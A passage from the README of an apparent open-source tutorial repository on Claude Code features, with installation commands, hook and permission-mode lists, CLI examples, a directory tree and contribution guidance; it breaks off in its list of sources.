\n<p><strong>Can I read this offline?</strong> Yes. Run <code>uv run scripts/build_epub.py</code> to generate an EPUB ebook with all content and rendered diagrams.</p> \n<hr /> \n<h2>Start Mastering Claude Code Today</h2> \n<p>You already have Claude Code installed. The only thing between you and 10x productivity is knowing how to use it. This guide gives you the structured path, the visual explanations, and the copy-paste templates to get there.</p> \n<p>MIT licensed. Free forever. Clone it, fork it, make it yours.</p> \n<p><strong><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/LEARNING-ROADMAP.md\">Start the Learning Path -&gt;</a></strong> | <strong><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/CATALOG.md\">Browse the Feature Catalog</a></strong> | <strong><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/#get-started-in-15-minutes\">Get Started in 15 Minutes</a></strong></p> \n<hr /> \n<details> \n Quick Navigation \u2014 All Features \n <table> \n  <thead> \n   <tr> \n    <th>Feature</th> \n    <th>Description</th> \n    <th>Folder</th> \n   </tr> \n  </thead> \n  <tbody> \n   <tr> \n    <td><strong>Feature Catalog</strong></td> \n    <td>Complete reference with installation commands</td> \n    <td><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/CATALOG.md\">CATALOG.md</a></td> \n   </tr> \n   <tr> \n    <td><strong>Slash Commands</strong></td> \n    <td>User-invoked shortcuts</td> \n    <td><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/01-slash-commands/\">01-slash-commands/</a></td> \n   </tr> \n   <tr> \n    <td><strong>Memory</strong></td> \n    <td>Persistent context</td> \n    <td><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/02-memory/\">02-memory/</a></td> \n   </tr> \n   <tr> \n    <td><strong>Skills</strong></td> \n    <td>Reusable capabilities</td> \n    <td><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/03-skills/\">03-skills/</a></td> \n   </tr> \n   <tr> \n    <td><strong>Subagents</strong></td> \n    <td>Specialized AI assistants</td> \n    <td><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/04-subagents/\">04-subagents/</a></td> \n   </tr> \n   <tr> \n    <td><strong>MCP Protocol</strong></td> \n    <td>External tool access</td> \n    <td><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/05-mcp/\">05-mcp/</a></td> \n   </tr> \n   <tr> \n    <td><strong>Hooks</strong></td> \n    <td>Event-driven automation</td> \n    <td><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/06-hooks/\">06-hooks/</a></td> \n   </tr> \n   <tr> \n    <td><strong>Plugins</strong></td> \n    <td>Bundled features</td> \n    <td><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/07-plugins/\">07-plugins/</a></td> \n   </tr> \n   <tr> \n    <td><strong>Checkpoints</strong></td> \n    <td>Session snapshots &amp; rewind</td> \n    <td><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/08-checkpoints/\">08-checkpoints/</a></td> \n   </tr> \n   <tr> \n    <td><strong>Advanced Features</strong></td> \n    <td>Planning, thinking, background tasks</td> \n    <td><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/09-advanced-features/\">09-advanced-features/</a></td> \n   </tr> \n   <tr> \n    <td><strong>CLI Reference</strong></td> \n    <td>Commands, flags, and options</td> \n    <td><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/10-cli/\">10-cli/</a></td> \n   </tr> \n   <tr> \n    <td><strong>Blog Posts</strong></td> \n    <td>Real-world usage examples</td> \n    <td><a href=\"https://medium.com/@luongnv89\">Blog Posts</a></td> \n   </tr> \n  </tbody> \n </table> \n</details> \n<details> \n Feature Comparison \n <table> \n  <thead> \n   <tr> \n    <th>Feature</th> \n    <th>Invocation</th> \n    <th>Persistence</th> \n    <th>Best For</th> \n   </tr> \n  </thead> \n  <tbody> \n   <tr> \n    <td><strong>Slash Commands</strong></td> \n    <td>Manual (<code>/cmd</code>)</td> \n    <td>Session only</td> \n    <td>Quick shortcuts</td> \n   </tr> \n   <tr> \n    <td><strong>Memory</strong></td> \n    <td>Auto-loaded</td> \n    <td>Cross-session</td> \n    <td>Long-term learning</td> \n   </tr> \n   <tr> \n    <td><strong>Skills</strong></td> \n    <td>Auto-invoked</td> \n    <td>Filesystem</td> \n    <td>Automated workflows</td> \n   </tr> \n   <tr> \n    <td><strong>Subagents</strong></td> \n    <td>Auto-delegated</td> \n    <td>Isolated context</td> \n    <td>Task distribution</td> \n   </tr> \n   <tr> \n    <td><strong>MCP Protocol</strong></td> \n    <td>Auto-queried</td> \n    <td>Real-time</td> \n    <td>Live data access</td> \n   </tr> \n   <tr> \n    <td><strong>Hooks</strong></td> \n    <td>Event-triggered</td> \n    <td>Configured</td> \n    <td>Automation &amp; validation</td> \n   </tr> \n   <tr> \n    <td><strong>Plugins</strong></td> \n    <td>One command</td> \n    <td>All features</td> \n    <td>Complete solutions</td> \n   </tr> \n   <tr> \n    <td><strong>Checkpoints</strong></td> \n    <td>Manual/Auto</td> \n    <td>Session-based</td> \n    <td>Safe experimentation</td> \n   </tr> \n   <tr> \n    <td><strong>Planning Mode</strong></td> \n    <td>Manual/Auto</td> \n    <td>Plan phase</td> \n    <td>Complex implementations</td> \n   </tr> \n   <tr> \n    <td><strong>Background Tasks</strong></td> \n    <td>Manual</td> \n    <td>Task duration</td> \n    <td>Long-running operations</td> \n   </tr> \n   <tr> \n    <td><strong>CLI Reference</strong></td> \n    <td>Terminal commands</td> \n    <td>Session/Script</td> \n    <td>Automation &amp; scripting</td> \n   </tr> \n  </tbody> \n </table> \n</details> \n<details> \n Installation Quick Reference \n <pre><code class=\"language-bash\"># Slash Commands\ncp 01-slash-commands/*.md .claude/commands/\n\n# Memory\ncp 02-memory/project-CLAUDE.md ./CLAUDE.md\n\n# Skills\ncp -r 03-skills/code-review-specialist ~/.claude/skills/\n\n# Subagents\ncp 04-subagents/*.md .claude/agents/\n\n# MCP\nclaude mcp add --transport http github https://api.githubcopilot.com/mcp/ --header \"Authorization: Bearer YOUR_GITHUB_PAT\"\n\n# Hooks\nmkdir -p ~/.claude/hooks\ncp 06-hooks/*.sh ~/.claude/hooks/\nchmod +x ~/.claude/hooks/*.sh\n\n# Plugins (load a local plugin from the repo root)\nclaude --plugin-dir ./07-plugins/pr-review\n\n# Checkpoints (auto-enabled, configure in settings)\n# See 08-checkpoints/README.md\n\n# Advanced Features (configure in settings)\n# See 09-advanced-features/config-examples.json\n\n# CLI Reference (no installation needed)\n# See 10-cli/README.md for usage examples\n</code></pre> \n</details> \n<details> \n 01. Slash Commands \n <p><strong>Location</strong>: <a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/01-slash-commands/\">01-slash-commands/</a></p> \n <p><strong>What</strong>: User-invoked shortcuts stored as Markdown files</p> \n <p><strong>Examples</strong>:</p> \n <ul> \n  <li><code>optimize.md</code> - Code optimization analysis</li> \n  <li><code>pr.md</code> - Pull request preparation</li> \n  <li><code>generate-api-docs.md</code> - API documentation generator</li> \n </ul> \n <p><strong>Installation</strong>:</p> \n <pre><code class=\"language-bash\">cp 01-slash-commands/*.md /path/to/project/.claude/commands/\n</code></pre> \n <p><strong>Usage</strong>:</p> \n <pre><code>/optimize\n/pr\n/generate-api-docs\n</code></pre> \n <p><strong>Learn More</strong>: <a href=\"https://medium.com/@luongnv89/discovering-claude-code-slash-commands-cdc17f0dfb29\">Discovering Claude Code Slash Commands</a></p> \n</details> \n<details> \n 02. Memory \n <p><strong>Location</strong>: <a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/02-memory/\">02-memory/</a></p> \n <p><strong>What</strong>: Persistent context across sessions</p> \n <p><strong>Examples</strong>:</p> \n <ul> \n  <li><code>project-CLAUDE.md</code> - Team-wide project standards</li> \n  <li><code>directory-api-CLAUDE.md</code> - Directory-specific rules</li> \n  <li><code>personal-CLAUDE.md</code> - Personal preferences</li> \n </ul> \n <p><strong>Installation</strong>:</p> \n <pre><code class=\"language-bash\"># Project memory\ncp 02-memory/project-CLAUDE.md /path/to/project/CLAUDE.md\n\n# Directory memory\ncp 02-memory/directory-api-CLAUDE.md /path/to/project/src/api/CLAUDE.md\n\n# Personal memory\ncp 02-memory/personal-CLAUDE.md ~/.claude/CLAUDE.md\n</code></pre> \n <p><strong>Usage</strong>: Automatically loaded by Claude</p> \n</details> \n<details> \n 03. Skills \n <p><strong>Location</strong>: <a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/03-skills/\">03-skills/</a></p> \n <p><strong>What</strong>: Reusable, auto-invoked capabilities with instructions and scripts</p> \n <p><strong>Examples</strong>:</p> \n <ul> \n  <li><code>code-review-specialist/</code> - Comprehensive code review with scripts</li> \n  <li><code>brand-voice/</code> - Brand voice consistency checker</li> \n  <li><code>doc-generator/</code> - API documentation generator</li> \n </ul> \n <p><strong>Installation</strong>:</p> \n <pre><code class=\"language-bash\"># Personal skills\ncp -r 03-skills/code-review-specialist ~/.claude/skills/\n\n# Project skills\ncp -r 03-skills/code-review-specialist /path/to/project/.claude/skills/\n</code></pre> \n <p><strong>Usage</strong>: Automatically invoked when relevant</p> \n</details> \n<details> \n 04. Subagents \n <p><strong>Location</strong>: <a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/04-subagents/\">04-subagents/</a></p> \n <p><strong>What</strong>: Specialized AI assistants with isolated contexts and custom prompts</p> \n <p><strong>Examples</strong>:</p> \n <ul> \n  <li><code>code-reviewer.md</code> - Comprehensive code quality analysis</li> \n  <li><code>test-engineer.md</code> - Test strategy and coverage</li> \n  <li><code>documentation-writer.md</code> - Technical documentation</li> \n  <li><code>secure-reviewer.md</code> - Security-focused review (read-only)</li> \n  <li><code>implementation-agent.md</code> - Full feature implementation</li> \n </ul> \n <p><strong>Installation</strong>:</p> \n <pre><code class=\"language-bash\">cp 04-subagents/*.md /path/to/project/.claude/agents/\n</code></pre> \n <p><strong>Usage</strong>: Automatically delegated by main agent</p> \n</details> \n<details> \n 05. MCP Protocol \n <p><strong>Location</strong>: <a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/05-mcp/\">05-mcp/</a></p> \n <p><strong>What</strong>: Model Context Protocol for accessing external tools and APIs</p> \n <p><strong>Examples</strong>:</p> \n <ul> \n  <li><code>github-mcp.json</code> - GitHub integration</li> \n  <li><code>database-mcp.json</code> - Database queries</li> \n  <li><code>filesystem-mcp.json</code> - File operations</li> \n  <li><code>multi-mcp.json</code> - Multiple MCP servers</li> \n </ul> \n <p><strong>Installation</strong>:</p> \n <pre><code class=\"language-bash\"># Set environment variables\nexport DATABASE_URL=\"postgresql://...\"\n\n# Add MCP server via CLI\nclaude mcp add --transport http github https://api.githubcopilot.com/mcp/ --header \"Authorization: Bearer YOUR_GITHUB_PAT\"\n\n# Or add to project .mcp.json manually (see 05-mcp/ for examples)\n</code></pre> \n <p><strong>Usage</strong>: MCP tools are automatically available to Claude once configured</p> \n</details> \n<details> \n 06. Hooks \n <p><strong>Location</strong>: <a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/06-hooks/\">06-hooks/</a></p> \n <p><strong>What</strong>: Event-driven shell commands that execute automatically in response to Claude Code events</p> \n <p><strong>Examples</strong>:</p> \n <ul> \n  <li><code>format-code.sh</code> - Auto-format code after writing</li> \n  <li><code>pre-commit.sh</code> - Run tests before commits</li> \n  <li><code>security-scan.sh</code> - Scan for security issues</li> \n  <li><code>log-bash.sh</code> - Log all bash commands</li> \n  <li><code>validate-prompt.sh</code> - Validate user prompts</li> \n  <li><code>notify-team.sh</code> - Send notifications on events</li> \n </ul> \n <p><strong>Installation</strong>:</p> \n <pre><code class=\"language-bash\">mkdir -p ~/.claude/hooks\ncp 06-hooks/*.sh ~/.claude/hooks/\nchmod +x ~/.claude/hooks/*.sh\n</code></pre> \n <p>Configure hooks in <code>~/.claude/settings.json</code>:</p> \n <pre><code class=\"language-json\">{\n  \"hooks\": {\n    \"PostToolUse\": [\n      {\n        \"matcher\": \"Write\",\n        \"hooks\": [\n          { \"type\": \"command\", \"command\": \"~/.claude/hooks/format-code.sh\" },\n          { \"type\": \"command\", \"command\": \"~/.claude/hooks/security-scan.sh\" }\n        ]\n      }\n    ]\n  }\n}\n</code></pre> \n <p><strong>Usage</strong>: Hooks execute automatically on events</p> \n <p><strong>Hook Types</strong> (5): <code>command</code>, <code>http</code>, <code>prompt</code>, <code>mcp_tool</code>, <code>agent</code> \u2014 how a hook runs.</p> \n <p><strong>Hook Events</strong> (33, in 4 categories) \u2014 when it runs:</p> \n <ul> \n  <li><strong>Tool Hooks</strong>: <code>PreToolUse</code>, <code>PostToolUse</code>, <code>PostToolUseFailure</code>, <code>PostToolBatch</code>, <code>PermissionRequest</code>, <code>PermissionDenied</code></li> \n  <li><strong>Session Hooks</strong>: <code>SessionStart</code>, <code>Setup</code>, <code>SessionEnd</code>, <code>Stop</code>, <code>StopFailure</code>, <code>SubagentStart</code>, <code>SubagentStop</code></li> \n  <li><strong>Task Hooks</strong>: <code>UserPromptSubmit</code>, <code>UserPromptExpansion</code>, <code>MessageDisplay</code>, <code>TaskCompleted</code>, <code>TaskCreated</code>, <code>TeammateIdle</code> \u2014 <code>TaskCompleted</code> and <code>TaskCreated</code> only fire when the todo tools are enabled, which is available by default only on Claude 3.x models, Opus 4 through 4.7, Sonnet 4 through 4.6, and Haiku 4.5 (<code>CLAUDE_CODE_ENABLE_TODO_TOOLS=1</code> restores them)</li> \n  <li><strong>Lifecycle Hooks</strong>: <code>ConfigChange</code>, <code>CwdChanged</code>, <code>DirectoryAdded</code>, <code>FileChanged</code>, <code>PreCompact</code>, <code>PostCompact</code>, <code>PreModelSwitch</code>, <code>PostModelSwitch</code>, <code>WorktreeCreate</code>, <code>WorktreeRemove</code>, <code>Notification</code>, <code>InstructionsLoaded</code>, <code>Elicitation</code>, <code>ElicitationResult</code></li> \n </ul> \n</details> \n<details> \n 07. Plugins \n <p><strong>Location</strong>: <a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/07-plugins/\">07-plugins/</a></p> \n <p><strong>What</strong>: Bundled collections of commands, agents, MCP, and hooks</p> \n <p><strong>Examples</strong>:</p> \n <ul> \n  <li><code>pr-review/</code> - Complete PR review workflow</li> \n  <li><code>devops-automation/</code> - Deployment and monitoring</li> \n  <li><code>documentation/</code> - Documentation generation</li> \n </ul> \n <p><strong>Installation</strong>:</p> \n <pre><code class=\"language-bash\"># From the repo root (this repo ships no marketplace, so /plugin install does not apply)\nclaude --plugin-dir ./07-plugins/pr-review\nclaude --plugin-dir ./07-plugins/devops-automation\nclaude --plugin-dir ./07-plugins/documentation\n</code></pre> \n <p><strong>Usage</strong>: Use bundled slash commands and features</p> \n</details> \n<details> \n 08. Checkpoints and Rewind \n <p><strong>Location</strong>: <a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/08-checkpoints/\">08-checkpoints/</a></p> \n <p><strong>What</strong>: Save conversation state and rewind to previous points to explore different approaches</p> \n <p><strong>Key Concepts</strong>:</p> \n <ul> \n  <li><strong>Checkpoint</strong>: Snapshot of conversation state</li> \n  <li><strong>Rewind</strong>: Return to previous checkpoint</li> \n  <li><strong>Branch Point</strong>: Explore multiple approaches from same checkpoint</li> \n </ul> \n <p><strong>Usage</strong>:</p> \n <pre><code># Checkpoints are created automatically with every user prompt\n# To rewind, press Esc twice or use:\n/rewind\n\n# Then choose from six options:\n# 1. Restore code and conversation\n# 2. Restore conversation\n# 3. Restore code\n# 4. Summarize from here\n# 5. Summarize up to here\n# 6. Never mind\n</code></pre> \n <p><strong>Use Cases</strong>:</p> \n <ul> \n  <li>Try different implementation approaches</li> \n  <li>Recover from mistakes</li> \n  <li>Safe experimentation</li> \n  <li>Compare alternative solutions</li> \n  <li>A/B testing different designs</li> \n </ul> \n</details> \n<details> \n 09. Advanced Features \n <p><strong>Location</strong>: <a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/09-advanced-features/\">09-advanced-features/</a></p> \n <p><strong>What</strong>: Advanced capabilities for complex workflows and automation</p> \n <p><strong>Includes</strong>:</p> \n <ul> \n  <li><strong>Planning Mode</strong> \u2014 Create detailed implementation plans before coding</li> \n  <li><strong>Extended Thinking</strong> \u2014 Deep reasoning for complex problems (toggle with <code>Alt+T</code> / <code>Option+T</code>)</li> \n  <li><strong>Background Tasks</strong> \u2014 Run long operations without blocking</li> \n  <li><strong>Permission Modes</strong> \u2014 <code>manual</code> (config value <code>default</code>), <code>acceptEdits</code>, <code>plan</code>, <code>auto</code>, <code>dontAsk</code>, <code>bypassPermissions</code></li> \n  <li><strong>Headless Mode</strong> \u2014 Run Claude Code in CI/CD: <code>claude -p \"Run tests and generate report\"</code></li> \n  <li><strong>Session Management</strong> \u2014 <code>/resume</code>, <code>/rename</code>, <code>/fork</code>, <code>/branch</code>, <code>claude -c</code>, <code>claude -r</code></li> \n  <li><strong>Configuration</strong> \u2014 Customize behavior in <code>~/.claude/settings.json</code></li> \n </ul> \n <p>See <a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/09-advanced-features/config-examples.json\">config-examples.json</a> for complete configurations.</p> \n</details> \n<details> \n 10. CLI Reference \n <p><strong>Location</strong>: <a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/10-cli/\">10-cli/</a></p> \n <p><strong>What</strong>: Complete command-line interface reference for Claude Code</p> \n <p><strong>Quick Examples</strong>:</p> \n <pre><code class=\"language-bash\"># Interactive mode\nclaude \"explain this project\"\n\n# Print mode (non-interactive)\nclaude -p \"review this code\"\n\n# Process file content\ncat error.log | claude -p \"explain this error\"\n\n# JSON output for scripts\nclaude -p --output-format json \"list functions\"\n\n# Resume session\nclaude -r \"feature-auth\" \"continue implementation\"\n</code></pre> \n <p><strong>Use Cases</strong>: CI/CD pipeline integration, script automation, batch processing, multi-session workflows, custom agent configurations</p> \n</details> \n<details> \n Example Workflows \n <h3>Complete Code Review Workflow</h3> \n <pre><code class=\"language-markdown\"># Uses: Slash Commands + Subagents + Memory + MCP\n\nUser: /review-pr\n\nClaude:\n1. Loads project memory (coding standards)\n2. Fetches PR via GitHub MCP\n3. Delegates to code-reviewer subagent\n4. Delegates to test-engineer subagent\n5. Synthesizes findings\n6. Provides comprehensive review\n</code></pre> \n <h3>Automated Documentation</h3> \n <pre><code class=\"language-markdown\"># Uses: Skills + Subagents + Memory\n\nUser: \"Generate API documentation for the auth module\"\n\nClaude:\n1. Loads project memory (doc standards)\n2. Detects doc generation request\n3. Auto-invokes doc-generator skill\n4. Delegates to api-documenter subagent\n5. Creates comprehensive docs with examples\n</code></pre> \n <h3>DevOps Deployment</h3> \n <pre><code class=\"language-markdown\"># Uses: Plugins + MCP + Hooks\n\nUser: /deploy production\n\nClaude:\n1. Runs pre-deploy hook (validates environment)\n2. Delegates to deployment-specialist subagent\n3. Executes deployment via Kubernetes MCP\n4. Monitors progress\n5. Runs post-deploy hook (health checks)\n6. Reports status\n</code></pre> \n</details> \n<details> \n Directory Structure \n <pre><code>\u251c\u2500\u2500 01-slash-commands/\n\u2502   \u251c\u2500\u2500 optimize.md\n\u2502   \u251c\u2500\u2500 pr.md\n\u2502   \u251c\u2500\u2500 generate-api-docs.md\n\u2502   \u2514\u2500\u2500 README.md\n\u251c\u2500\u2500 02-memory/\n\u2502   \u251c\u2500\u2500 project-CLAUDE.md\n\u2502   \u251c\u2500\u2500 directory-api-CLAUDE.md\n\u2502   \u251c\u2500\u2500 personal-CLAUDE.md\n\u2502   \u2514\u2500\u2500 README.md\n\u251c\u2500\u2500 03-skills/\n\u2502   \u251c\u2500\u2500 code-review-specialist/\n\u2502   \u2502   \u251c\u2500\u2500 SKILL.md\n\u2502   \u2502   \u251c\u2500\u2500 scripts/\n\u2502   \u2502   \u2514\u2500\u2500 templates/\n\u2502   \u251c\u2500\u2500 brand-voice/\n\u2502   \u2502   \u251c\u2500\u2500 SKILL.md\n\u2502   \u2502   \u2514\u2500\u2500 templates/\n\u2502   \u251c\u2500\u2500 doc-generator/\n\u2502   \u2502   \u251c\u2500\u2500 SKILL.md\n\u2502   \u2502   \u2514\u2500\u2500 generate-docs.py\n\u2502   \u2514\u2500\u2500 README.md\n\u251c\u2500\u2500 04-subagents/\n\u2502   \u251c\u2500\u2500 code-reviewer.md\n\u2502   \u251c\u2500\u2500 test-engineer.md\n\u2502   \u251c\u2500\u2500 documentation-writer.md\n\u2502   \u251c\u2500\u2500 secure-reviewer.md\n\u2502   \u251c\u2500\u2500 implementation-agent.md\n\u2502   \u2514\u2500\u2500 README.md\n\u251c\u2500\u2500 05-mcp/\n\u2502   \u251c\u2500\u2500 github-mcp.json\n\u2502   \u251c\u2500\u2500 database-mcp.json\n\u2502   \u251c\u2500\u2500 filesystem-mcp.json\n\u2502   \u251c\u2500\u2500 multi-mcp.json\n\u2502   \u2514\u2500\u2500 README.md\n\u251c\u2500\u2500 06-hooks/\n\u2502   \u251c\u2500\u2500 format-code.sh\n\u2502   \u251c\u2500\u2500 pre-commit.sh\n\u2502   \u251c\u2500\u2500 security-scan.sh\n\u2502   \u251c\u2500\u2500 log-bash.sh\n\u2502   \u251c\u2500\u2500 validate-prompt.sh\n\u2502   \u251c\u2500\u2500 notify-team.sh\n\u2502   \u2514\u2500\u2500 README.md\n\u251c\u2500\u2500 07-plugins/\n\u2502   \u251c\u2500\u2500 pr-review/\n\u2502   \u251c\u2500\u2500 devops-automation/\n\u2502   \u251c\u2500\u2500 documentation/\n\u2502   \u2514\u2500\u2500 README.md\n\u251c\u2500\u2500 08-checkpoints/\n\u2502   \u251c\u2500\u2500 checkpoint-examples.md\n\u2502   \u2514\u2500\u2500 README.md\n\u251c\u2500\u2500 09-advanced-features/\n\u2502   \u251c\u2500\u2500 config-examples.json\n\u2502   \u251c\u2500\u2500 planning-mode-examples.md\n\u2502   \u2514\u2500\u2500 README.md\n\u251c\u2500\u2500 10-cli/\n\u2502   \u2514\u2500\u2500 README.md\n\u2514\u2500\u2500 README.md (this file)\n</code></pre> \n</details> \n<details> \n Best Practices \n <h3>Do's</h3> \n <ul> \n  <li>Start simple with slash commands</li> \n  <li>Add features incrementally</li> \n  <li>Use memory for team standards</li> \n  <li>Test configurations locally first</li> \n  <li>Document custom implementations</li> \n  <li>Version control project configurations</li> \n  <li>Share plugins with team</li> \n </ul> \n <h3>Don'ts</h3> \n <ul> \n  <li>Don't create redundant features</li> \n  <li>Don't hardcode credentials</li> \n  <li>Don't skip documentation</li> \n  <li>Don't over-complicate simple tasks</li> \n  <li>Don't ignore security best practices</li> \n  <li>Don't commit sensitive data</li> \n </ul> \n</details> \n<details> \n Troubleshooting \n <h3>Feature Not Loading</h3> \n <ol> \n  <li>Check file location and naming</li> \n  <li>Verify YAML frontmatter syntax</li> \n  <li>Check file permissions</li> \n  <li>Review Claude Code version compatibility</li> \n </ol> \n <h3>MCP Connection Failed</h3> \n <ol> \n  <li>Verify environment variables</li> \n  <li>Check MCP server installation</li> \n  <li>Test credentials</li> \n  <li>Review network connectivity</li> \n </ol> \n <h3>Subagent Not Delegating</h3> \n <ol> \n  <li>Check tool permissions</li> \n  <li>Verify agent description clarity</li> \n  <li>Review task complexity</li> \n  <li>Test agent independently</li> \n </ol> \n</details> \n<details> \n Testing \n <p>This project includes comprehensive automated testing:</p> \n <ul> \n  <li><strong>Unit Tests</strong>: Python tests using pytest (Python 3.10, 3.11, 3.12)</li> \n  <li><strong>Code Quality</strong>: Linting and formatting with Ruff</li> \n  <li><strong>Security</strong>: Vulnerability scanning with Bandit</li> \n  <li><strong>Type Checking</strong>: Static type analysis with mypy</li> \n  <li><strong>Build Verification</strong>: EPUB generation testing</li> \n  <li><strong>Coverage Tracking</strong>: Codecov integration</li> \n </ul> \n <pre><code class=\"language-bash\"># Install development dependencies\nuv pip install -r scripts/requirements-dev.txt\n\n# Run all unit tests\npytest scripts/tests/ -v\n\n# Run tests with coverage report\npytest scripts/tests/ -v --cov=scripts --cov-report=html\n\n# Run code quality checks\nruff check scripts/\nruff format --check scripts/\n\n# Run security scan\nbandit -c scripts/pyproject.toml -r scripts/ --exclude scripts/tests/\n\n# Run type checking\nmypy scripts/ --ignore-missing-imports\n</code></pre> \n <p>Tests run automatically on every push to <code>main</code>/<code>develop</code> and every PR to <code>main</code>. See <a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/.github/TESTING.md\">TESTING.md</a> for detailed information.</p> \n</details> \n<details> \n EPUB Generation \n <p>Want to read this guide offline? Generate an EPUB ebook:</p> \n <pre><code class=\"language-bash\">uv run scripts/build_epub.py\n</code></pre> \n <p>This creates <code>claude-howto-guide.epub</code> with all content, including rendered Mermaid diagrams.</p> \n <p>See <a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/scripts/README.md\">scripts/README.md</a> for more options.</p> \n</details> \n<details> \n Contributing \n <p>Found an issue or want to contribute an example? We'd love your help!</p> \n <p><strong>Please read <a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/CONTRIBUTING.md\">CONTRIBUTING.md</a> for detailed guidelines on:</strong></p> \n <ul> \n  <li>Types of contributions (examples, docs, features, bugs, feedback)</li> \n  <li>How to set up your development environment</li> \n  <li>Directory structure and how to add content</li> \n  <li>Writing guidelines and best practices</li> \n  <li>Commit and PR process</li> \n </ul> \n <p><strong>Our Community Standards:</strong></p> \n <ul> \n  <li><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/CODE_OF_CONDUCT.md\">CODE_OF_CONDUCT.md</a> - How we treat each other</li> \n  <li><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/SECURITY.md\">SECURITY.md</a> - Security policy and vulnerability reporting</li> \n </ul> \n <h3>Reporting Security Issues</h3> \n <p>If you discover a security vulnerability, please report it responsibly:</p> \n <ol> \n  <li><strong>Use GitHub Private Vulnerability Reporting</strong>: <a href=\"https://github.com/luongnv89/claude-howto/security/advisories\">https://github.com/luongnv89/claude-howto/security/advisories</a></li> \n  <li><strong>Or read</strong> <a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/.github/SECURITY_REPORTING.md\">.github/SECURITY_REPORTING.md</a> for detailed instructions</li> \n  <li><strong>Do NOT</strong> open a public issue for security vulnerabilities</li> \n </ol> \n <p>Quick start:</p> \n <ol> \n  <li>Fork and clone the repository</li> \n  <li>Create a descriptive branch (<code>add/feature-name</code>, <code>fix/bug</code>, <code>docs/improvement</code>)</li> \n  <li>Make your changes following the guidelines</li> \n  <li>Submit a pull request with a clear description</li> \n </ol> \n <p><strong>Need help?</strong> Open an issue or discussion, and we'll guide you through the process.</p> \n</details> \n<details> \n Additional Resources \n <ul> \n  <li><a href=\"https://code.claude.com/docs/en/overview\">Claude Code Documentation</a></li> \n  <li><a href=\"https://modelcontextprotocol.io\">MCP Protocol Specification</a></li> \n  <li><a href=\"https://github.com/luongnv89/skills\">Skills Repository</a> - Collection of ready-to-use skills</li> \n  <li><a href=\"https://github.com/anthropics/anthropic-cookbook\">Anthropic Cookbook</a></li> \n  <li><a href=\"https://x.com/bcherny/status/2007179832300581177\">Boris Cherny's Claude Code Workflow</a> - The creator of Claude Code shares his systematized workflow: parallel agents, shared <a href=\"http://CLAUDE.md\">CLAUDE.md</a>, Plan mode, slash commands, subagents, and verification hooks for autonomous long-running sessions.</li> \n </ul> \n</details> \n<hr /> \n<h2>Contributing</h2> \n<p>We welcome contributions! Please see our <a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/CONTRIBUTING.md\">Contributing Guide</a> for details on how to get started.</p> \n<hr /> \n<h2>License</h2> \n<p>MIT License - see <a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/LICENSE\">LICENSE</a>. Free to use, modify, and distribute. The only requirement is including the license notice.</p> \n<hr /> \n<p><strong>Last Updated</strong>: October 18, 2026 <strong>Claude Code Version</strong>: 2.1.302 <strong>Sources</strong>:</p> \n<ul> \n <li><a href=\"https://code.claude.com/docs/en/tools-reference#task-tool-availability\">https://code.claude.com/docs/en/tools-reference#task-tool-availability</a></li> \n <li><a href=\"https://code.claude.com/docs/en/hooks\">https://code.claude.com/docs/en/hooks</a></li> \n <li><a href=\"https://code.claude.com/docs/en/overview\">https://code.claude.com/docs/en/overview</a></li> \n <li><a href=\"https://code.claude.com/docs/en/changelog\">https://code.claude.com/docs/en/changelog</a></li> \n <li><a href=\"https://code.claude.com/docs/en/permission-modes\">https://code.claude.com/docs/en/permission-modes</a></li> \n <li><a href=\"https://platform.claude.com/docs/en/about-claude/models/overview\">https://platform.claude.com/docs/en/about-claude/models/overview</a></li> \n <li><a href=\"https://github.com/anthropics/claude-code/releases\">https://github.com/anthropics/claude-code/releases</a></li> \n <li><a href=\"https://github.com/anthropics/claude-code/releases/tag/v2.1.154\">https://github.com/anthropics/claude-code/releases/tag/v2.1.154</a></li> \n <li><a href=\"https://code.claude.com/docs/en/model-config\">https://code.claude.com/docs/en/model-config</a></li> \n <li><a href=\"https://github.com/anthropics/claude-code/raw/main/CHANGELOG.md\">https://github.com/anthropics/claude-code/blob/main/CHANGELOG.md</a></li> \n <li><a href=\"https://github.com/anthropics/claude-code/releases/tag/v2.1.296\">https://github.com/anthropics/claude-code/releases/tag/v2.1.296</a></li> \n <li><a href=\"https://code.claude.com/docs/en/setup\">https://code.claude.com/docs/en/setup</a></li> \n <li><a href=\"https://code.claude.com/docs/en/mcp\">https://code.claude.com/docs/en/mcp</a></li> \n <li><a href=\"https://code.claude.com/docs/en/plugins/install\">https://code.claude.com/docs/en/plugins/install</a></li> \n <li><a href=\"https://code.claude.com/docs/en/checkpointing\">https://code.claude.com/docs/en/checkpointing</a></li> \n <li><a 